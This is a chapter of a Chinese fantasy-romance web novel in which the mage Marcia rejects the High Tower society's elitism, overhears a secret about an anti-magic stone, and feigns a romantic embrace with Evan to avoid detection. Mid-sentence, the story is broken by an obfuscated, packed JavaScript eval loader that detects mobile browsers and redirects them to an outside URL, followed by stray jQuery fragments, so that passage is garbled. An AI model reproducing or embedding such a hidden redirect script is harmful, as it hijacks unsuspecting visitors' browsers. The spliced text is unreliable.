玛西亚盯着兰斯洛特伯爵的戒指看了一会儿，没有接过。


    象征四元素的宝石均匀排布在秘银环对称的四个点上。这枚戒指显然另有寓意。


    “原来您是高塔会的成员。”


    “是的，您愿意加入我们么？我上次就想跟您说这件事。”


    玛西亚答得干脆：“不愿意。”


    埃文不知道什么是高塔会，但他总算听出这不是求婚，玛西亚也拒绝得很明确，心里大石落地。


    “呼……”


    埃文舒了一口气，偷偷抬眼观察玛西亚，发现她没有怪自己反应过度，他乖乖退回她身后站好，不再乱插嘴。


    兰斯洛特伯爵犹未放弃，试着追问：“那么您拒绝的原因是什么呢？”


    高塔会是一群想在大陆中心设立魔法塔，统一管理魔法师的人。相当于在世俗权力之上构建跨越国界的魔法师教团。


    玛西亚不认为这是个好主意。


    人总是和同类呆在一起最舒服，但是，魔法是划分同类的标准么？冰原上的格罗姆是魔法师，王宫里的卡尔也是魔法师。


    这些魔法师想建立一座拔地而起的高塔，睥睨魔法之外的一切。他们的口号响亮且骇人——魔力即神启。


    诚然在与魔族的交战中，她曾无数次感恩魔法的降临，魔法确乎是神给予人类的礼物，好让人类能够度过危难，抵御困难重重，在绝境中抓住一丝希望。


    可说实话，这片大陆上并没有什么人真正信仰神明，更多把祂视为古老的传说，当做共同的文化渊源。因为创世神话实在太简单了，每个国家的版本略有不同，但核心一致——神明失败了两次，创造出这个世界。


    历史上，从来没有人为了神祇发起任何战争，也从来没过极端狂热的信徒，现在却来了一群以神为名的家伙。


    她无心和兰斯洛特伯爵解释太多，冷淡地说：“你们又不会让我当塔主。”


    兰斯洛特伯爵：“……”


    是幽默感么？还是她本来就这么狂傲？


    高塔会想吸纳强者，扩大声威，但战斗能力强不代表能够做领袖，他们至多给玛西亚一个高级荣誉职位。


    兰斯洛特伯爵收回戒指，思索片刻，自己想通了一些。


    一定是因为玛西亚得到的世俗权力足够多，她想躺在功劳簿上生活，不愿为高塔会的理想奋斗，也在情理之中。


    于是他换了一个角度：“高塔会的成员遍布整片大陆，英俊的美男子也有不少，一定有比这位贝克尔先生更配得上您的。”


    兰斯洛特脸上的表情不是讽刺，不是轻蔑，而是真心地向玛西亚发出邀请，像在说：加入我们吧，我们这里有好吃的下午茶点心。


    玛西亚的胸口一阵发闷。


    “您觉得魔法师是更优越的人类？”


    兰斯洛特伯爵答得坦荡：“当然。魔法师的世界更广阔，思想更高维，您知道我在说什么，那种感觉就像看到了世界的本源。”


    放在往常，她一定会舌头打结。偏偏对方一直在用她珍视的魔法当借口。于是，她快速地说出自己的想法：“您并没有看到世界的本源。伯爵。魔法不是这样的力量，魔法会让人更自由，更尊重自己的内心。我就是喜欢埃文·贝克尔。您难道就没想过让人和人之间稍微平等一点么？”


    平等？兰斯洛特伯爵听懂了，他惊讶地发现，原来大名鼎鼎的烈焰之炎，不过是个被爱情冲昏了头的女人。


    他看了看玛西亚，又看了看埃文，叹息似的一笑，不知是在嘲讽谁：“您心中充满理想化的想法，事实上，一只青蛙和一只天鹅，永远不会是平等的。”


    “灵魂。伯爵，魔法让我们摈弃一切表象，直抵内在。洪水漫过头顶，烈火焚毁躯壳，厚土掩埋骨骸，劲风吹散呼吸——我们怎么会不平等？魔法师最该清楚，人有灵魂。”


    她的用词很随意，不符合贵族的表达习惯，结构相似的四个句子，竟有好几处不和谐的音韵。但是没关系，玛西亚把自己想说的话说清楚了。


    “我和高塔会的魔法师不是同类，我和埃文的灵魂靠得更近，就是这样。”


    对方像是反应不过来，愣愣地看着玛西亚。


    玛西亚抓住埃文的手，不太礼貌地背身离去，没有与兰斯洛特伯爵告辞。


    埃文梦游似的随着她走，回想玛西亚方才坚定的神态，心脏跳得厉害。他完全不懂魔法，闹不清高塔会的理念，但他确信自己听懂了玛西亚的话。


    她提到了灵魂。


    玛西亚说，他们的灵魂靠的更近。


    显然，她的话语触动了埃文心中最敏感的那根弦。他回过神后，开始热烈地赞美她：“玛西亚，你哪里像你说的那样笨嘴拙舌？你辩论的时候就像拳击手！砰砰砰！好帅气。”


    玛西亚：“只有你这么觉得。”


    埃文：“才不是。你把他说得无力反驳！”


    玛西亚清醒地摇头：“因为这不是一场辩论，是我单方面的输出。高塔会既然认可‘强者就是比弱者有更多权利’，他还怎么与我争执呢？我说，他就得听。”


    更何况玛西亚和高塔会，以及这位兰斯洛特伯爵没有前缘纠葛，她不怕得罪他们，自然说了个痛快。


    “那你这样拒绝他们，以后会有麻烦么？”


    “也许吧。不过我不在意。”


    战争结束了，人类失去了共同的敌人，无论如何都会从团结走向分裂。不想惹麻烦，想得到所有人的认同，本身就是一种奢望。


    若说王室想把魔法收归己用是一种贪婪，高塔会想搞魔法师特权，推动魔法成为宗教，也真没好到哪儿去。


    人类的想法总是太复杂，某种意义上，他们比还魔王可怕。


    “走吧，先回会场去。”


    返回途中，两人听到了从盥洗室中传来的对话声。声音压得很低，又被盥洗室里滴滴答答的水流声切得破碎，但内容隐约可辨。


    一个女人问：“到底被赏给谁家了？难道她知道……抑魔石？”


    另一个女人回：“不可能。没人知道。不然先王怎么会……那可是最后一块……所以那条项链……”


    这个回话的人嗓子很低哑，音色独特。玛西亚相信自己再次听见这个声音时一定能认出来。


    玛西亚立刻停下脚步，没有再沿着走廊转弯，而是贴在墙边站定，竖起耳朵细细听。


    埃文同样警觉，不仅紧紧地捂住了自己的嘴，还借了一只手给玛西亚。


    他的大手严严实实地捂着她半张脸，被瓷片割伤的小口子早就凝了血，可似有若无的血气还是往她鼻子里钻。


    玛西亚不讨厌埃文的触碰，但不得不说，在紧张的情形下，感觉有点怪，好像心脏也被他的手捏住了。


    盥洗室内的人结束了抑魔石的话题，开始抱怨别的事：“连贝拉殿下都只戴了冰龙鳞片，下边的贵妇人又怎么好太出风头？”


    “是啊。真不理解，格林伍德有精金矿啊！娘家那么富裕，她的品味怎么会这么寒酸……”


    玛西亚捕捉到几个重要信息：只有一块抑魔石、抑魔石被做成了珠宝、贝拉殿下来自格林伍德。


    她有种直觉，贝拉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056078|162042||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    殿下就是给克劳德·斯温去信的匿名贵妇人。


    对话戛然而止，然后是一串脚步声渐渐远去，最终消失在走廊尽头。


    这时，埃文松开了手，他刚想松一口气，却突然看到落在对面墙上的一角阴影，轻微地晃动了一下。


    玛西亚看埃文神情古怪，也察觉到了不对劲。回想刚刚那远去的脚步，声音稍微有点飘浮，不像是实在地踩到了地面上。


    是拟音。


    风魔法可以用气流的振动模拟声音。


    盥洗室中的人发现有人在附近，自觉失言，于是用这种方式诱骗来人放松警惕，再出来查看偷听者到底是谁。


    如若扭身就走，就说明玛西亚不仅全听到了，并且明白他们所说的内容是什么意思。


    如若冲出去，揪着这两个人盘问更多秘密，倒不是做不到。可怎么会有一被威胁，就把实话全都交代出来的敌人呢？何况，这里是王宫。


    还是装作什么都没听见比较好。


    埃文也这样想。


    于是，他们心有灵犀，默契地拥抱在一起。


    离席的恋人，躲避着众人的注视，在走廊上亲昵，沉浸在彼此的柔情蜜意中，多正常啊。


    “玛西亚，我亲爱的。”埃文沉着地开口。


    “埃文，我在听。”玛西亚接上。


    “谢谢你今天带我来到王宫，这儿的一切都美极了，我从来没见过这么多好东西，这里连地面都光滑得可以照出影子！我……我感觉自己像是在做梦。”他害羞地表白，“我为什么会遇见你呢？”


    他扮演着自己的角色——被公爵俘获的贫穷美人。眼神怯生生，崇拜并感激着玛西亚。


    玛西亚则把头垂得很低，以至于脸完全埋在埃文的怀里，藏到安全黑暗的庇护所，慢慢地想词。


    该说什么呢？还是把问题抛回去吧。


    她用鼻梁抵住他的胸骨，张开嘴唇，发出闷闷的声音：“埃文，你真的喜欢我么？”


    “当然了！”他回答得果断又干脆，即便是在念台词，他的告白也实在动人，“玛西亚，你的笑容是我每天最想见到的东西。你的嘴角是一弯月亮，星星坠入你的眼睛。”


    相当美妙的情话，但是非常不妙地，她卡住了。


    “啊，埃文……你喜欢我……那个……”


    埃文连忙伸出手，捧起她的脸，轻轻用力扳起她的头，好让她看着自己。


    “玛西亚，你怎么能不信我呢？我喜欢你是最自然不过的事。你值得被所有人喜欢，我只不过是其中最幸运的一个。”


    埃文的语气急切而真诚，仿佛在安抚玛西亚隐秘的脆弱。设定一下子丰富起来，玛西亚是不安的女公爵，她对自己用权力和财富赢来的爱情不够自信，对自己作为“女人”的魅力不够自信。


    这下，玛西亚什么都不用说了，重新低下头，作感动状就好。


    她不由自主地闭上了眼睛，在他怀里深深吸气，又慢慢地呼出。山一样的胸怀包围着她，心跳如神秘的鼓声，她沉溺其中。


    妈妈严肃的教育帮她保护了自己，免于被轻浮的男人欺骗。但是，她始终是个身心健康的年轻人，对异性的好奇，以及对爱情的憧憬只是被压制了，并没有消失，情欲如同冰下之水，暗中奔流。


    她觉得自己有点儿过分。


    在这随时可能被拆穿的紧要关头，埃文正全情投入地为她工作，可她呢？她在暗中享受这个拥抱，用脸颊感受着他柔软又结实的胸肌，听他一次次对自己说：“玛西亚，我喜欢你。”


    可她确实享受起来了。